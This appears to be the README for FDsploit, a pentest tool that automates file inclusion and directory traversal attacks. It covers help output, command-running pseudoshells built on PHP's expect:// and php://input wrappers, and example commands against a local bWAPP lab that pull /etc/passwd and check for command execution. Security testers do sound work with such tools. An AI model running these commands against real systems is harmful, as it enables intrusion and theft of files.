FDsploit - File Inclusion And Directory Traversal Fuzzing, Enumeration & Exploitation Tool

$ python fdsploit.py -h

     _____ ____          _     _ _
    |   __|    \ ___ ___| |___|_| |_
    |   __|  |  |_ -| . | | . | |  _|
    |__|  |____/|___|  _|_|___|_|_|
                    |_|...ver. 1.2
                          Author: Christoforos Petrou (game0ver) !

usage: fdsploit.py [-u  | -f ] [-h] [-p] [-d] [-e {0,1,2}] [-t] [-b] [-x] [-c]
                   [-v] [--params  [...]] [-k] [-a] [--cmd]
                   [--lfishell {None,simple,expect,input}]

FDsploit.py: Automatic (L|R)FI & directory traversal enumeration & exploitation.

Required (one of the following):
  -u , --url            Specify a url or
  -f , --file           Specify a file containing urls

Optional:
  -h, --help            Show this help message and exit
  -p , --payload        Specify a payload-file to look for [default None]
  -d , --depth          Specify max depth for payload [default 5]<   br/>  -e {0,1,2}, --urlencode {0,1,2}
                        Url-encode the payload [default: False]
  -t , --tchar          Use a termination character ('' or '?') [default None]
  -b, --b64             Use base64 encoding [default False]
  -x , --proxy          Specify a proxy to use [form: host:port]
  -c , --cookie         Specify a session-cookie to use [default None]
  -v , --verb           Specify request type ('GET' or 'POST') [default GET]
  --params  [ ...]      Specify POST parameters to use (applied only with POST requests)
                        Form: param1:value1,param2:value2,...
  -k , --keyword        Search for a certain keyword(s) on the response [default: None]
  -a, --useragent       Use a random user-agent [default user-agent: FDsploit_1.2_agent]
  --cmd                 Test for command execution through    PHP functions [default command: None]
  --lfishell {None,simple,expect,input}
                        LFI pseudoshell [default None]

[!] For More Details please read the README.md file!

• simple: This type of shell allows user to read files easily without having to type the url everytime. Also it only provides the output of the file and not the whole html-source code of the page which makes it very useful.
• expect: This type of shell is a semi-interactive shell which allows user to execute commands through PHP's expect:// wrapper.
• input: This type of shell is a semi-interactive shell which also allows user to execute commands through PHP's php://input stream.

• clear and
• exit.

• The LFI-shell interface provides only the output of the file readed or the command issued and not all the html code.
• 3 different types of LFI-shells can be specified.
• Both GET/POST requests are supported.
• Automatic detection of GET parameters.
• Certain parameters can be specified for testing using wildcards (*).
• Optional session cookies can be specified and used.
• Automatic check for RCE using PHP functions can be performed.
• Additional use of sha-256 hash is used to identify the potential vulnerabilities.
• base64/urlencoding support.

./fdsploit.py -u 'http://127.0.0.1:8888/test/bWAPP/bWAPP/directory_traversal_2.php?directory=documents' -c 'PHPSESSID=7acf1c5311fee614d0eb40d7f3473087; security_level=0' -d 8

./fdsploit.py -u 'http://127.0.0.1:8888/test/bWAPP/bWAPP/rlfi.php?language=*&action=go' -c 'PHPSESSID=7acf1c5311fee614d0eb40d7f3473087; security_level=0' -d 7 -k root -p /etc/passwd

1. When POST verb is used, --params option must also be specified.
2. To test for Directory Traversal vulnerability the --payload option must be left to default value (None).
3. When --file options is used for multiple-urls testing, then only GET request is supported.
4. When both--file& --cookie options are set then since only one cookie can be specified each time the urls must refer on the same domain or be accessible without a cookie (that's is going to be fixed in a future update).
5. input shell is not compatible with POST verb.

• Fix note 4 from above and make --file also work with POST parameters and cookies, using probably a json etc... file as input.
• Add more built-in commands to --lfishell e.g. history etc...

This tool is only for testing and academic purposes and can only be used where strict consent has been given. Do not use it for illegal purposes! It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this tool and software in general.